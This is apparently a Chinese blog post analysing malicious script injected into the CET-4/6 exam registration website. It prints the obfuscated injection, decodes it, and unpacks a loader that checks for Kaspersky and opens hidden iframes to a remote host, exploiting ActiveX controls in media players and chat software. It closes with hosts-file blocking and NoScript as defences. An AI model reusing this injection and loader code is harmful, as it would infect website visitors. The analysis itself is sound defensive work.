谁在四六级报名网页设了毒？

可疑挂马语句： ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- <script>document.writeln("\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x68\x74\x74\x70\x3A\x2F\x2F\x4F\x25\x36\x36\x25\x36\x36\x25\x34\x39\x25\x36\x33\x65\x25\x32\x45\x25\x34\x36\x25\x34\x31\x51\x25\x35\x33\x25\x36\x35\x25\x37\x32\x76\x2E\x25\x34\x33\x25\x36\x46\x25\x34\x44\x2F\x25\x34\x36\x25\x34\x31\x25\x35\x31\x25\x32\x45\x25\x36\x41\x25\x37\x33\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");</script> ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- 解码后： ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- <script src="http://office.faqserv.com/FAQ.js"></script> ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- 顺藤摸瓜，跟过去 FAQ.js的源码如下： ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- eval("\166\141\162\40\124\150\145\156\40\75\40\156\145\167\40\104\141\164\145\50\51\73\15\12\124\150\145\156\56\163\145\164\124\151\155\145\50\124\150\145\156\56\147\145\164\124\151\155\145\50\51\40\53\40\63\60\52\66\60\52\61\60\60\60\40\51\73\40\15\12\166\141\162\40\143\157\157\153\151\145\123\164\162\151\156\147\40\75\40\156\145\167\40\123\164\162\151\156\147\50\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\51\73\15\12\166\141\162\40\143\157\157\153\151\145\110\145\141\144\145\162\40\75\40\47\141\153\170\170\47\40\73\15\12\166\141\162\40\142\145\147\151\156\120\157\163\151\164\151\157\156\40\75\40\143\157\157\153\151\145\123\164\162\151\156\147\56\151\156\144\145\170\117\146\50\143\157\157\153\151\145\110\145\141\144\145\162\51\73"); if (beginPosition == -1) { document.write('<iframe height="0" frameborder="1" src="http://www.59.vc/page/add_54738542.htm" width="10" ></iframe>'); document.write('<iframe height="0" frameborder="1" src="http://office.faqserv.com/faq.htm" width="10" ></iframe>'); document.cookie = "Cookieakxx=akxx;expires="+ Then.toGMTString() +";path=/"; } ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- 其中上面的eval函数等价于以下代码： ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- var Then = new Date(); Then.setTime(Then.getTime() + 30*60*1000 ); var cookieString = new String(document.cookie); var cookieHeader = 'akxx' ; var beginPosition = cookieString.indexOf(cookieHeader); ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- 现在再来看看eval后面的代码 其中http://www.59.vc/page/add_54738542.htm是两行js ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- <script src=addr.js></script> <script language="javascript" type="text/javascript" src="http://js.users.51.la/1542776.js"></script> ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- http://office.faqserv.com/faq.htm就是一行js ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- <script language="javascript" src="http://count18.51yes.com/click.aspx?id=189404354&logo=1"></script> ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- 上面的js.users.51.la和count18.51yes.com是两个网站流量统计服务 addr.js代码如下： ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1y G(){1x(i=2;i<1w;i++){a t=4 Y();a s=4 Y();a u=H.1v(1u+i);t.6="X:@W:"+u+":\\\\V%U\\\\q%T\\\\q%S%R%1t.0\\\\Q\\\\P.O::/N/M.9";s.6="X:@W:"+u+":\\\\V%U\\\\q%T\\\\q%S%R%1s.0\\\\Q\\\\P.O::/N/M.9";5(t.L==K||s.L==K)J 1r}J 1q}a p=4 1p();p.1o(p.1n()+1m*I*I*1l);a F=4 H(8.D);a E="C=";5(!G()&&F.B(E)==-1){l{5(4 o("1k.1j"+"1i"+"1h.1"))8.k(\'<3 j=n:h 6="f://m.c/1g.9"></3>\')}b(e){}l{5(4 o("1f.1e"))8.k(\'<3 j=n:h 6="f://m.c/1d.9"></3>\')}b(e){}8.D="C=1c;1b="+p.1a();z="y";l{5(19.17.16().B("A"+"15 7")==-1)8.k(\'<3 j=n:h 6="f://m.c/A.9"></3>\')}b(e){}z="y";l{5(4 o("x"+"v"+".x"+"v.1"))8.k(\'<3 j=d\'+\'14\'+\'13:h 6="f://w\'+\'18\'+\'.c/r\'+\'12.g\'+\'5"></3>\')}b(e){}l{5(4 o("11.10.1"))8.k(\'<3 j=n:h 6="f://m.c/Z.9"></3>\')}b(e){}}',62,97,'|||iframe|new|if|src||document|gif|var|catch|vg|||http||none||style|write|try|w18|display|ActiveXObject|Then|Kaspersky||bbbbbbbbbbbkis7|bbbbbbbbkis6|root|PCtl||IER|fjsadlfjlasdflkasjdf8i789582763495287|fdasfasfasdfa|ms|indexOf|Cookie1|cookie|cookieHeader|fdsafasdfasdfcookie|bIsKIS|String|60|return|41|height|help|images|chm|context|Doc|20Security|20Internet|20Lab|20Files|Program|MSITStore|mk|Image|lz|GLChatCtrl|GLCHAT|eal|lay|isp|ie|toLowerCase|userAgent||navigator|toGMTString|expires|POPWINDOS|xl|Vod|DPClient|bf|layer|ormP|St|MPS|1000|24|getTime|setTime|Date|false|true|207|206|65|fromCharCode|26|for|function'.split('|'),0,{})) ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- 上面的这段代码明显使用了js代码压缩技术，如果我没有判断错的话，应该使用的是Dean Edwards的jspacker程序。 “解压”这段代码后得到了原始的js代码，如下： ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- function bIsKIS(){ for(i=2;i<26;i++){ var bbbbbbbbkis6=new Image(); var bbbbbbbbbbbkis7=new Image(); var root=String.fromCharCode(65+i); bbbbbbbbkis6.src="mk:@MSITStore:"+root+":\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Internet%20Security%206.0\\Doc\\context.chm::/images/help.gif"; bbbbbbbbbbbkis7.src="mk:@MSITStore:"+root+":\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Internet%20Security%207.0\\Doc\\context.chm::/images/help.gif"; if(bbbbbbbbkis6.height==41||bbbbbbbbbbbkis7.height==41) return true } return false } var Then=new Date(); Then.setTime(Then.getTime()+24*60*60*1000); var fdsafasdfasdfcookie=new String(document.cookie); var cookieHeader="Cookie1="; if(!bIsKIS()&&fdsafasdfasdfcookie.indexOf(cookieHeader)==-1) { try { if(new ActiveXObject("MPS.St"+"ormP"+"layer.1")) document.write('<iframe style=display:none src="http://w18.vg/bf.gif"></iframe>') } catch(e){} try{ if(new ActiveXObject("DPClient.Vod")) document.write('<iframe style=display:none src="http://w18.vg/xl.gif"></iframe>') } catch(e){} document.cookie="Cookie1=POPWINDOS;expires="+Then.toGMTString(); fdasfasfasdfa="fjsadlfjlasdflkasjdf8i789582763495287"; try{ if(navigator.userAgent.toLowerCase().indexOf("ms"+"ie 7")==-1) document.write('<iframe style=display:none src="http://w18.vg/ms.gif"></iframe>') } catch(e){} fdasfasfasdfa="fjsadlfjlasdflkasjdf8i789582763495287"; try{if(new ActiveXObject("IER"+"PCtl"+".IER"+"PCtl.1")) document.write('<iframe style=d'+'isp'+'lay:none src="http://w'+'18'+'.vg/r'+'eal.g'+'if"></iframe>')} catch(e){}try{if(new ActiveXObject("GLCHAT.GLChatCtrl.1")) document.write('<iframe style=display:none src="http://w18.vg/lz.gif"></iframe>')} catch(e){}} ----------------------------------------------我是很傻很天真的代码分割线---------------------------------------------- 初步分析，是利用暴风影音的漏洞进行网页挂马，然后使用51.la和51yes.com的网站流量统计去记录所有被感染用户的IP地址等信息 简单的解决方法1： 修改C:\WINDOWS\system32\drivers\etc\hosts 添加以下记录到该文件： 127.0.0.1 office.faqserv.com 127.0.0.1 w18.vg 127.0.0.1 js.users.51.la 127.0.0.1 www.59.vc 127.0.0.1 count18.51yes.com 简单的解决方法2： 不要使用IE浏览4/6级报名网站，使用Firefox+NoScript 后记： 这个网马有点意思，还有判断本机是否安装KIS6/7的功能模块，很黄很暴力！